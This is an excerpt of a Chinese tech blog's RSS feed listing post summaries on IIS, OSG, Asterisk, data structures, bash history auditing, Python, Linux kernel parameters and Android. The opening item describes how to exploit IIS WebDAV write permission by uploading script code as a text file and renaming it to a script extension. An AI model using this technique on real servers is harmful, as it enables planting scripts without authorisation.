Versioning，基于Web的分布式创作和版本控制）这是一套扩展HTTP协议允许用户共同编辑和管理上的文件远程网络服务器。使应用程序可以直接写文件在web服务器上，在内容管理系统方面应用得比较多。官方网站是 我们如果在IIS--web服务扩展下开启webdav服务的话IIS put scan就会返回存在漏洞,否则就返回没有漏洞。 写权限漏洞除了跟webDAV服务扩展有关还跟网站的写入权限和脚本资源访问有关，介绍写权限还有脚本资源访问之前我们有必要了解一下网站的其他权限，在IIS--网站属性--主目录下设置。 读取权限：用户可以访问网站的文件，建立网站的时候默认开启读取权限。 写入权限：用户可以写入文件到网站目录，也就是我们所说的写权限漏洞。 脚本资源访问：用户可以对网站目录的脚本文件有操作的权限，前提是开启读取或者写入权限，开启读取权限就有读取脚本文件（源代码）的权限，开启写入权限就有写入脚本文件的权限。 目录浏览：用户可以查看网站目录的所有文件和目录。前提是开启读取权限。 webDAV服务是http协议的扩展服务，用来协同工作的，是用来替代FTP的产物，它不能直接上传脚本文件，IIS映射的所有脚本后缀都不能直接上传。只有先上传一个文本文件后缀的脚本代码（例如txt或者是其它）之后再把它改为脚本文件，我们用老兵的写权限利用工具来演示。 如果开启webDAV服务不开启写入权限则没有上传任何文件的权限，提交后返回下图。 如果开启写入权限不开启脚本资源访问权限，则只有上传普通文件的权限，没有修改为脚本文件后缀的权限。c:inetpubwwwroot为网站目录，提交后如下图。 如果开启了写入权限和脚本资源访问，没有开启webDAV服务扩展，也就没有写权限漏洞可言，感觉用老兵或者其他的工具太麻烦也可以用IE浏览器，文件—打开，输入网站地址，选中以“web文件夹方式打开”则可以像操作本地文件一样的去上传、读取，如下图 </description>
    </item>
    <item>
      <title>求空间中2条线段的最短距离（用osg&#43;C&#43;&#43;写的）</title>
      <link>https://bchobby.github.io/posts/8aff7049111e2481de9e3f07af947df0/</link>
      <pubDate>Thu, 07 Feb 2013 15:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8aff7049111e2481de9e3f07af947df0/</guid>
      <description>2条线段的最短距离&#xA;float DistanceLineToLine( const osg::Vec3d&amp;amp; p1,const osg::Vec3d&amp;amp; p2,const osg::Vec3d&amp;amp; p3,const osg::Vec3d&amp;amp; p4 ) { float distance; float x1 = p1.x(); //A点坐标（x1,y1,z1） float y1 = p1.y(); float z1 = p1.z(); float x2 = p2.x(); //B点坐标（x2,y2,z2） float y2 = p2.y(); float z2 = p2.z(); float x3 = p3.x(); //C点坐标（x3,y3,z3） float y3 = p3.y(); float z3 = p3.z(); float x4 = p4.x(); //D点坐标（x4,y4,z4） float y4 = p4.y(); float z4 = p4.z(); float a = (x2-x1)*(x2-x1)+(y2-y1)*(y2-y1)+(z2-z1)*(z2-z1); float b = -((x2-x1)*(x4-x3)+(y2-y1)*(y4-y3)+(z2-z1)*(z4-z3)); float c = -((x1-x2)*(x1-x3)+(y1-y2)*(y1-y3)+(z1-z2)*(z1-z3)); float d = -((x2-x1)*(x4-x3)+(y2-y1)*(y4-y3)+(z2-z1)*(z4-z3)); float e = (x4-x3)*(x4-x3)+(y4-y3)*(y4-y3)+(z4-z3)*(z4-z3); float f = -((x1-x3)*(x4-x3)+(y1-y3)*(y4-y3)+(z1-z3)*(z4-z3)); if ((a*e-b*d)==0&amp;amp;&amp;amp;(b*d-a*e)==0) //平行 { float d1 = (p1-p3).</description>
    </item>
    <item>
      <title>Asterisk 11的Web RTC功能</title>
      <link>https://bchobby.github.io/posts/ccbd078225e0c94df3beb8b02ffd0133/</link>
      <pubDate>Fri, 01 Feb 2013 16:29:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccbd078225e0c94df3beb8b02ffd0133/</guid>
      <description>WEBRTC简介 WEBRTC是一个开源项目，其宗旨是让WEB浏览器通过简单的JavaScript具备实时通信(Real-Time Communications (RTC) )的能力。WEBRTC目前支持JS和HTML5，项目由Google、Mozilla和Opera支持。 其官方网址是：http://www.webrtc.org/ WebRTC主要是让Web开发者能够基于浏览器（Chrome\FireFox\...）轻易快捷开发出丰富的实时多媒体应用，而无需下载安装任何插件，Web开发者也无需关注多媒体的数字信号处理过程，WebRTC提供了实时通信的核心技术，包括音视频的采集、编解码、网络传输、显示等功能，并且还支持跨平台：windows，linux，mac，android。&#xA;Asterisk 11 的WEBRTC支持&#xA;详见社区链接：&#xA;https://wiki.asterisk.org/wiki/display/AST/Asterisk+WebRTC+Support&#xA;安装libsrtp&#xA;因为WEBRTC要求用SRTP，而asterisk的SRTP模块依赖于libsrtp包，所以要先安装它。&#xA;#wgethttp://sourceforge.net/projects/srtp/files/srtp/1.4.4/srtp-1.4.4.tgz/download&#xA;# tar vzxf srtp-1.4.4.tgz # cd srtp&#xA;# ./configure&#xA;# make&#xA;# make install&#xA;安装Asterisk11 # wgethttp://downloads.asterisk.org/pub/telephony/asterisk/asterisk-11-current.tar.gz&#xA;# tar vzxf asterisk-11-current.tar.gz #cd asterisk-11.2.1/&#xA;#./configure # make&#xA;# make install 检查res_srtp 模块和 res_http_websocket 是否选中，如果没有，添加上这两个模块，保存退出(按x保存退出)。&#xA;asterisk配置 配置SIPUSER：&#xA;[1000] deny=0.0.0.0/0.0.0.0 secret=s1ptest1234 dtmfmode=rfc2833 canreinvite=no context=from-internel host=dynamic trustrpid=yes sendrpid=no type=friend nat=no port=5060 qualify=no qualifyfreq=60 transport=udp encryption=no callgroup= pickupgroup= dial=SIP/1000 mailbox=1000@default permit=0.</description>
    </item>
    <item>
      <title>32位嵌入式处理器编程：warning: integer constant is too large for &#39;long&#39; type</title>
      <link>https://bchobby.github.io/posts/e613b996350b86f4e1200c0c4a66bb14/</link>
      <pubDate>Thu, 31 Jan 2013 01:02:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e613b996350b86f4e1200c0c4a66bb14/</guid>
      <description>疑问描述 Keywords: EDK, long long integer, 64-bit, SW, mb-gcc, powerpc-eabi-gcc, compiler, C/C++ , g++&#xA;When I define a long long integer data type in SW application in EDK, a warning / error similar to the following occurs:&#xA;&#34;warning: integer constant is too large for &#39;long&#39; type&#34;.&#xA;Example:&#xA;int main ()&#xA;{&#xA;long long int test = 0x0008888000000000;&#xA;},&#xA;解决方案 The warning message can be safely ignored, as mb-gcc is not doing anything wrong; the 64-bit computing is in fact correct.</description>
    </item>
    <item>
      <title>遍历二叉树的非递归算法</title>
      <link>https://bchobby.github.io/posts/7a64942a263b37c44dadbcd57eecdf97/</link>
      <pubDate>Wed, 30 Jan 2013 23:01:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a64942a263b37c44dadbcd57eecdf97/</guid>
      <description>三种次序的寻访路线，它是从根结点开始沿左子树深入直到最左下端时，返回进入刚刚遇到结点的右子树；在右子树中，也是先深入到它的最左下结点时返回刚遇到结点的右子树······如此深入和返回，直到从根结点的右子树返回根结点止。在这一过程中，返回结点的顺序恰与深入结点的顺序相反，先深入的后返回，正好符合栈的特点。所以可以用栈来保存遍历过程中的结点信息来实现遍历二叉树的非递归算法，并且假定栈空间足够大不会发生栈上溢以简化算法。&#xA;1.前序遍历二叉树的非递归算法：&#xA;思想：从二叉树的根结点开始，沿左子树一直深入到最左下结点时为止，在深入的过程中访问所遇到的结点，并把所遇到结点的非空右孩子进栈，当左子树结点全部处理完之后，从栈顶退出当前最近访问过结点的右孩子，再按上述过程遍历该结点的右子树；如此重复，直到栈空为止。&#xA;在下面的算法中，二叉树以二叉链表存储，用一维数组stack[MAXSIZE]作为栈来保存结点的右孩子信息，top为栈顶指针，p始终指向寻访过程中当前要处理的结点。&#xA;#define MAXSIZE 100 void nrpreorder(bitree bt)//非递归前序遍历二叉树bt { bitree stack[MAXSIZE],p;//定义局部变量 int top=0;//栈指针初始化 p=bt;//让p指向二叉树 do { while(p!=NULL)//当p不为空时一直深入到最左下结点 { printf(&#34;%d\n&#34;,p-&amp;gt;data);//访问结点，假定data域为整型 if(p-&amp;gt;rchild!=NULL) //如果右子树不空 stack[++top]=p-&amp;gt;rchild;//右孩子进栈 p=p-&amp;gt;lchild;//继续搜索p的左子树 } if(top&amp;gt;0) p=stack[top--];//右孩子出栈赋p,准备搜索右子树 }while(top&amp;gt;0);//当栈不空时继续遍历 } 2.中序遍历二叉树的非递归算法思想：基本与前序遍历相同，只是沿左子树向下搜索的过程中先将所遇结点进栈，待遍历完左子树返回时从栈顶退出结点并访问，然后再遍历右子树。&#xA;#define MAXSIZE　100 void nrinorder(bitree bt)//非递归中序遍历二叉树bt { bitree stack[MAXSIZE],p;//定义局部变量并初始化 int top=0; p=bt; do { while(p!=NULL)//一直深入到最左下结点 { stack[++top]=p;//所遇结点进栈 p=p-&amp;gt;lchild;//继续搜索p的左子树 } if(top&amp;gt;0) { p=stack[top--];//出栈一个结点 printf(&#34;%d\n&#34;,p-&amp;gt;data);//访问结点 p=p-&amp;gt;rchild;//继续搜索右子树 } }while(top&amp;gt;0);//当栈不空时继续遍历 } 3.后序遍历二叉树的非递归算法&#xA;后序遍历二叉树的非递归算法要比前序和中序稍微复杂些。后序遍历中，当搜索指针指向一个结点时，不能马上访问，需要遍历先遍历左子树，所以结点需要进栈保存；当遍历完左子树返回再次搜索该结点时还不能进行访问，还需要遍历其右子树，所以结点需要再次进栈保存；即一个结点在两次进栈两次出栈之后才能访问。为了区别某一结点指针的两次出栈，需设置一标志flag同结点同时进出栈，flag定义如下：&#xA;flag={ 0, (结点第一次进出栈，不访问)；&#xA;{ 1, (结点第二次进出栈，出栈后访问)；&#xA;栈中数据类型可定义为指向结点的指针和flag组成的结构体类型：&#xA;typedef struct stackelem</description>
    </item>
    <item>
      <title>ubuntu History命令显示操作时间、用户和登录IP</title>
      <link>https://bchobby.github.io/posts/154607f7e87cd36fac738fd96567a623/</link>
      <pubDate>Thu, 24 Jan 2013 22:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/154607f7e87cd36fac738fd96567a623/</guid>
      <description>0x01 背景&#xA;在ubuntu系统的维护中，经常会用到history命令。&#xA;但是考虑到同事误操作责任追究以及被入侵后的线索追查，ubuntu系统中默认提供的history命令难以满足我们的需求。&#xA;经过一番调研，发现可以通过修改/etc/profile 文件 一定程度上满足需求。&#xA;0x02 需求&#xA;执行history命令时能够实现以下效果：&#xA;（1）显示命令执行的时间&#xA;（2）显示执行命令的用户名&#xA;（3）显示执行命令的用户的源IP&#xA;（4）A用户可以方便的查看B用户的历史记录&#xA;0x03 配置实现&#xA;要实现第二小节中的前两个需求，只需要简单配置/etc/profile文件即可，即在/etc/profile文件尾追加以下内容：&#xA;export HISTTIMEFORMAT=&#34;%F %T `whoami` &#34; 要实现第三个需求，稍微复杂一点，需要首先通过 以下命令来获取登录源IP： USER_IP=`who -u am i 2&amp;gt;/dev/null| awk &#39;{print $NF}&#39;|sed -e &#39;s/[()]//g&#39;` if [ &#34;$USER_IP&#34; = &#34;&#34; ] then USER_IP=`hostname` 然后再export HISTTIMEFORMAT时，将USER_IP作为参量写入HISTTIMEFORMAT，即： export HISTTIMEFORMAT=&#34;%F %T $USER_IP:`whoami` &#34; 而要实现第四个需求，则需要修改历史记录的存放位置，默认情况下，历史记录是存储在用户目录下的.bash_history（完整路径为/home/用户名/.bash_history）文件中的，所以A用户要访问B用户的历史记录必须先提升自己为root权限，否则是无法打开B用户的home目录的，即使拥有了root权限，如果系统有10个用户，则需要进入10个不同的文件夹查看各个文件夹下的.bash_history文件，从而实现查找所有拥有所有历史记录的目的。 为了方便，可以利用HISTFILE环境变量，将所有用户的历史记录，集中到一个目录下，通过用户名区分各自的历史记录文件： export HISTFILE=&#34;/opt/history/${LOGNAME}&#34; 综合以上所以小技巧，我们不难得到以下脚本： USER_IP=`who -u am i 2&amp;gt;/dev/null| awk &#39;{print $NF}&#39;|sed -e &#39;s/[()]//g&#39;` if [ &#34;$USER_IP&#34; = &#34;&#34; ] then USER_IP=`hostname` fi if [ !</description>
    </item>
    <item>
      <title>Matlab中plot、fplot、ezplot的使用方法和区别</title>
      <link>https://bchobby.github.io/posts/3b61caa6db50aa3e2337b04d02b76e85/</link>
      <pubDate>Sat, 19 Jan 2013 14:21:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b61caa6db50aa3e2337b04d02b76e85/</guid>
      <description> 函数plot 是绘制二维图形的最基本函数，它是针对向量或矩阵的列来绘制曲线的。也就是说，使用plot 函数之前，必须首先定义好曲线上每一点的x 及y 坐标，常用格式为：&#xA;（1）plot(x) 当x 为一向量时，以x 元素的值为纵坐标，x 的序号为横坐标值绘制曲线。当x 为一实矩阵时，则以其序号为横坐标，按列绘制每列元素值相对于其序号的曲线，当x 为m× n 矩阵时，就有n 条曲线。&#xA;（2）plot(x,y) 以x 元素为横坐标值，y 元素为纵坐标值绘制曲线。&#xA;（3）plot(x,y1,x,y2,…) 以公共的x 元素为横坐标值，以y1,y2,… 元素为纵坐标值绘制多条曲线。&#xA;函数fplot 用来绘制数学函数，其调用格式为： fplot(fun,lims)其中fun 就是所要绘制的函数，可以是定义函数的M 文件名，也可以是以x 为变量的可计算字符串，lims=[XMIN XMAX YMIN YMAX]限定了x,y 轴上的绘图空间。&#xA;函数ezplot它无需数据准备，直接画出函数图形，基本调用格式为ezplot(f)，其中f 是字符串或代表数学函数的符号表达式，只有一个符号变量&#xA;区别：&#xA;plot是绘制二维图形，并且是x，y的表达式是已知的或者是形如y=f(x)这样确切的表达式&#xA;而ezplot是画出隐函数图形，是形如f(x,y)=0这种不能写出像y=f(x)这种函数的图形 </description>
    </item>
    <item>
      <title>安装gcc包时报 configure: error: no acceptable C compiler found in $PATH错误</title>
      <link>https://bchobby.github.io/posts/9e64c6ed65c7fb1e322183d8ea163ff4/</link>
      <pubDate>Fri, 18 Jan 2013 19:01:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e64c6ed65c7fb1e322183d8ea163ff4/</guid>
      <description>今天安装nginx时，报错说少gcc包，结果在网上下了gcc源码进行编译、安装时报了“configure: error: no acceptable C compiler found in $PATH”这个错误，原来编译gcc源代码时也需要用到gcc包，需要下载一个rpm的二进制包进行安装，然后才可以编译之前下载的源代码。网上gcc的二进制包很难找，找了好久找到了一个：http://pkgs.org/ubuntu-11.10/ubuntu-main-i386/gcc_4.6.1-2ubuntu5_i386.deb/download/</description>
    </item>
    <item>
      <title>单链表的逆置-C&#43;&#43;实现</title>
      <link>https://bchobby.github.io/posts/171d2f186191cad22f3b899be1bb1549/</link>
      <pubDate>Wed, 16 Jan 2013 21:58:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/171d2f186191cad22f3b899be1bb1549/</guid>
      <description>对于单链表的逆置有两种方法可以实现：&#xA;（1）利用辅助指针&#xA;基本思想：在遍历结点过程中，设置辅助指针，用于记录先前遍历的结点。这样依次编译的过程中只需修改其后继结点的next域即可。&#xA;实现代码：&#xA;[cpp] view plain copy print ? typedef int DataType; //类型定义 typedef struct node{ //单链表定义 DataType data; struct node* next; }LinkedNode,*LinkList; void ReverseList(LinkList&amp;amp; ListHead) { cout&amp;lt;&amp;lt;&#34;Begin to Reverse the List&#34;&amp;lt;&amp;lt;endl; if( (NULL==ListHead)||(NULL==ListHead-&amp;gt;next) )return ; //边界检测 LinkedNode* pPre=ListHead; //先前指针 LinkedNode* pCur=pPre-&amp;gt;next; //当前指针 LinkedNode* pNext=NULL; //后继指针 while(pCur!=NULL) { pNext=pCur-&amp;gt;next; pCur-&amp;gt;next=pPre; pPre=pCur; pCur=pNext; } ListHead-&amp;gt;next=NULL; ListHead=pPre; //记录下新的头结点 } 示意图：&#xA;（2）递归&#xA;基本思想：在对当前结点逆置时，先递归地逆置其后继结点，然后将后继结点指向当前结点。&#xA;实现代码：&#xA;写了两个版本&#xA;I、返回值为空&#xA;[cpp] view plain copy print ?</description>
    </item>
    <item>
      <title>SSH框架搭建小例</title>
      <link>https://bchobby.github.io/posts/e48fe5dcf2a8708788c9516fd326d31d/</link>
      <pubDate>Mon, 14 Jan 2013 10:42:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e48fe5dcf2a8708788c9516fd326d31d/</guid>
      <description>SSH环境搭建&#xA;目录&#xA;一、概述 2&#xA;1.资源下载 2&#xA;2.开发环境安装 2&#xA;2.1 JDK的安装 3&#xA;2.2 Eclipse的安装 5&#xA;2.3 Tomcat的安装 5&#xA;2.4 将Tomcat导入到Eclipse中 7&#xA;2.4 将SVN导入到Eclipse中 12&#xA;二、 SSH框架实例 14&#xA;1.SSH基本原理 14&#xA;2.例程简介 15&#xA;3.创建工程搭建框架 17&#xA;3.1 新建一个工程 17&#xA;3.2 在Eclipse中配置数据源 18&#xA;3.3 SSH框架搭建 25&#xA;3.3.1 映射数据库 25&#xA;3.3.2 建立Dao接口和接口的应用文件 26&#xA;3.3.3 业务逻辑层配置 30&#xA;3.3.4 struts层配置 31&#xA;3.3.6 测试文件 37&#xA;3.3.7 登陆测试 38&#xA;一、概述 1.资源下载 所需安装文件下载列表&#xA;l jdk-7u5-windows-i586.exe&#xA;Oracle官方网站：http://www.oracle.com/technetwork/java/javase/downloads/jdk7-downloads-1637583.html&#xA;l eclipse-jee-indigo-SR1-win32.zip&#xA;Eclipse官方网站：http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/indigo/SR1/eclipse-jee-indigo-SR1-win32.zip&#xA;l apache-tomcat-7.</description>
    </item>
    <item>
      <title>构建WCF单一到多服务器之路</title>
      <link>https://bchobby.github.io/posts/060473789dec6d44e7982ef59c623901/</link>
      <pubDate>Sun, 13 Jan 2013 15:00:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/060473789dec6d44e7982ef59c623901/</guid>
      <description>构建WCF单一到多服务器之路 第一部wcf一个服务 一、新建一个项目，名称：WcfServerice，如图(1)&#xA;（图1）&#xA;二、初始界面，如图（2），&#xA;将原来IService1接口类重新改成名称IServiceFirst，将Service1 改成ServiceFirst，这是第一个服务。&#xA;重新修改其内容&#xA;// 注意: 使用“重构”菜单上的“重命名”命令，可以同时更改代码和配置文件中的接口名“IService1”。&#xA;[ServiceContract]&#xA;public interface IServiceFirst&#xA;{&#xA;// TODO: 在此添加您的服务操作&#xA;[OperationContract]&#xA;/* 获得表名称 */&#xA;string GetTableName();&#xA;[OperationContract]&#xA;/* 获得表中数据 */&#xA;DataSet GetTableData(string tablename);&#xA;}&#xA;// 使用下面示例中说明的数据约定将复合类型添加到服务操作。&#xA;[DataContract]&#xA;public class Product&#xA;{&#xA;string _TablenName ;&#xA;/* 数据库中表的名称 */&#xA;[DataMember]&#xA;public string TableName&#xA;{&#xA;get { return _TablenName ; }&#xA;set { _TablenName = value; }&#xA;}&#xA;string _Connstring;&#xA;/* 数据库连接字符串 */</description>
    </item>
    <item>
      <title>Python Exception Name</title>
      <link>https://bchobby.github.io/posts/0b61aa58c6a835141dd2a912073314a0/</link>
      <pubDate>Mon, 31 Dec 2012 23:06:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b61aa58c6a835141dd2a912073314a0/</guid>
      <description>An exception is an event, which occurs during the execution of a program, that disrupts the normal flow of the program&#39;s instructions. In general, when a Python script encounters a situation that it can&#39;t cope with, it raises an exception. An exception is a Python object that represents an error.&#xA;When a Python script raises an exception, it must either handle the exception immediately otherwise it would terminate and come out.</description>
    </item>
    <item>
      <title>python国际化(i18n)和中英文切换</title>
      <link>https://bchobby.github.io/posts/47e5c0f5721afe3cb3515dcab2965d85/</link>
      <pubDate>Mon, 31 Dec 2012 18:00:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47e5c0f5721afe3cb3515dcab2965d85/</guid>
      <description>Python通过gettext模块支持国际化(i18n),可以实现程序的多语言界面的支持,下面是我的多语言支持实现:&#xA;1. 在python安装目录下的./Tools/i18n/(windows下例 D:\Program Files\Python25\Tools\i18n)目录中找到pygettext.py运行之,生成翻译文件模版messages.pot,内容大概是这个样子:&#xA;# SOME DESCRIPTIVE TITLE.&#xA;# Copyright (C) YEAR ORGANIZATION&#xA;# FIRST AUTHOR &amp;lt;EMAIL@ADDRESS&amp;gt;, YEAR.&#xA;#&#xA;msgid &#34;&#34;&#xA;msgstr &#34;&#34;&#xA;&#34;Project-Id-Version: PACKAGE VERSION\n&#34;&#xA;&#34;POT-Creation-Date: 2007-01-24 15:05+China Standard Time\n&#34;&#xA;&#34;PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n&#34;&#xA;&#34;Last-Translator: FULL NAME &amp;lt;EMAIL@ADDRESS&amp;gt;\n&#34;&#xA;&#34;Language-Team: LANGUAGE &amp;lt;LL@li.org&amp;gt;\n&#34;&#xA;&#34;MIME-Version: 1.0\n&#34;&#xA;&#34;Content-Type: text/plain; charset=CHARSET\n&#34;&#xA;&#34;Content-Transfer-Encoding: ENCODING\n&#34;&#xA;&#34;Generated-By: pygettext.py 1.5\n&#34;&#xA;改之,charset=gb2312 Content-Transfer-Encoding: utf8如下:&#xA;# SOME DESCRIPTIVE TITLE.&#xA;# Copyright (C) YEAR ORGANIZATION&#xA;# FIRST AUTHOR &amp;lt;EMAIL@ADDRESS&amp;gt;, YEAR.</description>
    </item>
    <item>
      <title>python split分隔字符串之分隔次数</title>
      <link>https://bchobby.github.io/posts/05591f17dcf97885c0af8619a6e361e4/</link>
      <pubDate>Fri, 28 Dec 2012 13:31:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05591f17dcf97885c0af8619a6e361e4/</guid>
      <description> 使用格式：&#xA;str.split(&#34;char&#34;,num)&#xA;char：表示分隔标识符&#xA;num：表示分隔最大次数，为空表示分隔所有&#xA;python 示例代码split.py：&#xA;#!/usr/bin/python # -*- coding: UTF-8 -*- str=&#34;www.baidu.com.cn&#34; strtemp=str.split(&#34;.&#34;,1) print strtemp[0] print strtemp[1] print strtemp print str strtemp=str.split(&#34;.&#34;,3) print strtemp[0] print strtemp[1] print strtemp[2] print strtemp[3] print strtemp print str 执行split.py，结果如下：&#xA;~$ sudo python split.py www baidu.com.cn [&#39;www&#39;, &#39;baidu.com.cn&#39;] www.baidu.com.cn www baidu com cn [&#39;www&#39;, &#39;baidu&#39;, &#39;com&#39;, &#39;cn&#39;] www.baidu.com.cn </description>
    </item>
    <item>
      <title>Linux kernel启动参数</title>
      <link>https://bchobby.github.io/posts/8ba64db013efc0c0561a1bd2005a6531/</link>
      <pubDate>Wed, 26 Dec 2012 17:26:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ba64db013efc0c0561a1bd2005a6531/</guid>
      <description>转自：http://smilejay.com/2011/10/kernel_parameters/&#xA;在Linux中，给kernel传递参数以控制其行为总共有三种方法：&#xA;1.build kernel之时的各个configuration选项。&#xA;2.当kernel启动之时，可以参数在kernel被GRUB或LILO等启动程序调用之时传递给kernel。&#xA;3.在kernel运行时，修改/proc或/sys目录下的文件。&#xA;这里我简单讲的就是第二种方式了，kernel在grub中配置的启动参数。&#xA;首先，kernel有哪些参数呢？ 在linux的源代码中，有这样的一个文档Documentation/kernel-parameters.txt，它介绍了kernel的各个参数及其意义。&#xA;其次，kernel启动参数以空格分隔，而且是严格区分大小写的（如：mem和MEM是不一样的）。&#xA;再次，对于module特有的kernel参数写法是这样的，[module name].[parameter=XX]，例如，igb.max_vfs=7这个kernel启动参数的效果就是相当于这样来动态加载module: modprobe igb max_vfs=7&#xA;另外，kernel是怎样处理这些启动参数的呢？ 启动参数通常是这样的形式： name[=value_1][,value_2]…[,value_10]&#xA;“name”是关键字，内核用它来识别应该把”关键字”后面的值传递给谁，也就是如何处理这个值，是传递给处理进程还是作为环境变量或者抛给”init”。值的个数限制为10，你可以通过再次使用该关键字使用超过10个的参数。 首先，kernel检查关键字是不是 ‘root=’, ‘nfsroot=’, ‘nfsaddrs=’, ‘ro’, ‘rw’, ‘debug’或’init’，然后内核在bootsetups数组里搜索于该关键字相关联的已注册的处理函数，如果找到相关的已注册的处理函数，则调用这些函数并把关键字后面的值作为参数传递给这些函数。比如，你在启动时设置参数name＝a,b,c,d，内核搜索bootsetups数组，如果发现”name”已注册，则调用”name”的设置函数如name_setup()，并把a,b,c,d传递给name_setup()执行。 所有型如”name＝value”参数，如果没有被上面所述的设置函数接收，将被解释为系统启动后的环境变量，比如”TERM=vt100″启动参数就会被作为一个启动后的环境变量。所有没有被内核设置函数接收也没又被设置成环境变量的参数都将留给init进程处理，比如”single”。&#xA;下面简单总结一下我在工作中常用到的一些kernel启动参数吧。&#xA;根磁盘相关启动参数：&#xA;root #指出启动的根文件系统 如：root=/dev/sda1&#xA;ro #指定根设备在启动过程中为read-only，默认情况下一般都是这样配的&#xA;rw #和ro类似，它是规定为read-write，可写&#xA;rootfstype #根文件系统类型，如：rootfstype=ext4&#xA;Console和kernel log相关启动参数：&#xA;console #console的设备和选项，如：console=tty0 console=ttyS0&#xA;debug #enable kernel debugging 启动中的所有debug信息都会打印到console上&#xA;quiet #disable all log messages 将kernel log level设置为KERN_WARNING，在启动中只非常严重的信息&#xA;loglevel #设置默认的console日志级别，如：loglevel=7 （0~7的数字分别为：KERN_EMERG,..,KERN_DEBUG）&#xA;time #设置在每条kernel log信息前加一个时间戳&#xA;内存相关的启动参数：&#xA;mem #指定kernel使用的内存量，mem=n[KMG]&#xA;hugepages #设置大页表页（4MB大小）的最多个数，hugepages=n&#xA;CPU相关的启动参数：&#xA;mce # Enable the machine check exception feature.</description>
    </item>
    <item>
      <title>BroadcastReceiver中使用自定义Permission</title>
      <link>https://bchobby.github.io/posts/7b84baab84c2582ebe100bec112cb212/</link>
      <pubDate>Mon, 24 Dec 2012 21:13:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b84baab84c2582ebe100bec112cb212/</guid>
      <description>BroadcastReceiver中使用自定义Permission&#xA;对于权限的使用，我想进行过android开发的都用过，比如：我们需要进行与网络相关的操作时，就必须在manifest中声明android.permission.INTERNET的权限；又或者我们需要对SDCard进行操作时，就需要声明如下的权限：android.permission.WRITE_EXTERNAL_STORAGE（写入数据的权限）和 android.permission.MOUNT_UNMOUNT_FILESYSTEMS（创建和删除文件的权限）。&#xA;如果创建自定义的permission，其实也是一件很简单的事情；但是再创建自定义的permission之后，需要在广播接收器BroadcastReceiver中使用，就必须注意如下的问题：&#xA;①、发送具有权限的广播&#xA;②、具有权限的广播接收器&#xA;接下来我们就通过一个例子，来说明如何在BroadcastReceiver中使用自定义的permission，首先需要创建一个应用SelfPermissionBroadcastReceiver，下面1-2-3的操作都在该应用中。&#xA;1、需要创建自定义的permission。在manifest中创建自定义permission的配置如下： &amp;lt;!-- 创建自定义授权 --&amp;gt; &amp;lt;permission android:name=&#34;com.android.study.permission.MYRECEIVER&#34; android:protectionLevel=&#34;dangerous&#34;&amp;gt; &amp;lt;/permission&amp;gt; 自定义permission中的name必须是唯一的，而protectionLevel则可以自己选择。&#xA;2、声明自定义的permission。只有在有用到该权限的时候才需要声明，在manifest中声明自定义permission的配置如下： &amp;lt;!-- 声明自定义权限 --&amp;gt; &amp;lt;uses-permission android:name=&#34;com.android.study.permission.MYRECEIVER&#34;/&amp;gt; 3、创建广播接收类，一个具有自定义的权限，另一个则任何权限都没有。其实接收处理的代码大体一样，只是在manifest或在代码中registerReceiver进行注册时，一个授予了权限，另一个则没有授予。两个类的核心代码以及注册（这里采用的是manifest中静态注册）配置如下：&#xA;①、具有权限的广播接收类PermissionBroadcastReceiver 代码：&#xA;@Override public void onReceive(Context context, Intent intent) { //TO DO System.out.println(&#34;具有自定义权限的广播接收类——&#34; + intent.getStringExtra(&#34;data&#34;));&#x9;//TO DO } 配置文件注册：&#xA;&amp;lt;!-- 在receiver中使用自定义权限 --&amp;gt; &amp;lt;receiver android:name=&#34;com.android.study.receiver.PermissionBroadcastReceiver&#34; android:permission=&#34;com.android.study.permission.MYRECEIVER&#34;&amp;gt; &amp;lt;intent-filter&amp;gt; &amp;lt;action android:name=&#34;com.android.study.action.IRECEIVER&#34; /&amp;gt; &amp;lt;category android:name=&#34;android.intent.category.DEFAULT&#34;/&amp;gt; &amp;lt;/intent-filter&amp;gt; &amp;lt;/receiver&amp;gt; ②、没有权限的广播接收类NoPermissionBroadcastReceiver&#xA;代码：&#xA;@Override public void onReceive(Context context, Intent intent) { //TO DO System.out.println(&#34;没有自定义权限的广播接收类——&#34; + intent.</description>
    </item>
    <item>
      <title>避免内存泄露</title>
      <link>https://bchobby.github.io/posts/9d764a3b14522d368bfab44d2733f001/</link>
      <pubDate>Mon, 24 Dec 2012 09:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d764a3b14522d368bfab44d2733f001/</guid>
      <description>Android应用程序堆最大为16MB，至少在G1之前是这样（博主补充：Droid为24MB，Nexus One为32MB，Xoom为48MB）。对于手机而言已经是很大的内存空间了，但对于部分开发者而言还是很少的。即便没有将这些内存用完的打算，开发者也应尽量减少内存开销以便其他应用能够在后台运行而不会被强制关闭。这样的话，Android在内存中保存的应用越多，用户在应用间的切换就越快。我工作的一部分就是深入探索Android应用程序的内存泄露问题，大部分时间里，这些问题都是源自同一个错误：对Context（上下文环境）的长时间引用。&#xA;在Android上，Context用于多种操作，但最多的还是用来加载和访问资源。这也是为什么所有的Widges在其构造函数中都有一个Context参数。常规的Android应用中，有两类Context：Activity Context和Application Context，通常前者被开发者传递给需要Context的类和方法。&#xA;[java] view plain copy @Override protected void onCreate(Bundle state) { super.onCreate(state); TextView label = new TextView(this); label.setText(&#34;Leaks are bad&#34;); setContentView(label); } 这就意味着那些视图引用了整个Activity及其所拥有的一切：一般是整个视图层和所有资源。因此，如果泄露了这类Context（这里的泄露指的是引用Context，从而阻止了GC（垃圾回收）操作），就泄露了很多内存空间。如果不小心，泄露整个Activity是非常容易的事。 